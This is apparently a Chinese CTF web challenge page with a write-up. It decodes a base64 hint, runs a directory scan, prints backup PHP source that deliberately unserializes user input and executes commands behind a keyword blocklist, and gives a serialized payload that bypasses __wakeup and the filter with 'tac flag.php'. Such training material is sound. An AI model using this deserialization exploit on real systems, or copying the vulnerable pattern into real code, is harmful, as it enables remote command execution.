安慰奖

平台   WEB   已通过

题目作者: harry

一　　血: ‌‌‌‌‌dotast

一血奖励: 2金币

解　　决: 1746

提　　示:

描　　述: flag{}

站长题解:

1、查看源码，看到一串base64编码，解码 echo 'YmFja3Vwcw==' | base64 -d 得到 backups
2、目录扫描 dirsearch -u http://114.67.175.224:19177/，导出flag.php和index.php.bak
3、flag.php没有输出，下载index.php.bak，源码如下

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗？<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧，hhh！</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

4、代码审计，存在php反序列化漏洞，构建payload

$a = new ctf('admin', 'tac flag.php');  $code = serialize($a);

/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";}

访问得到flag

去做题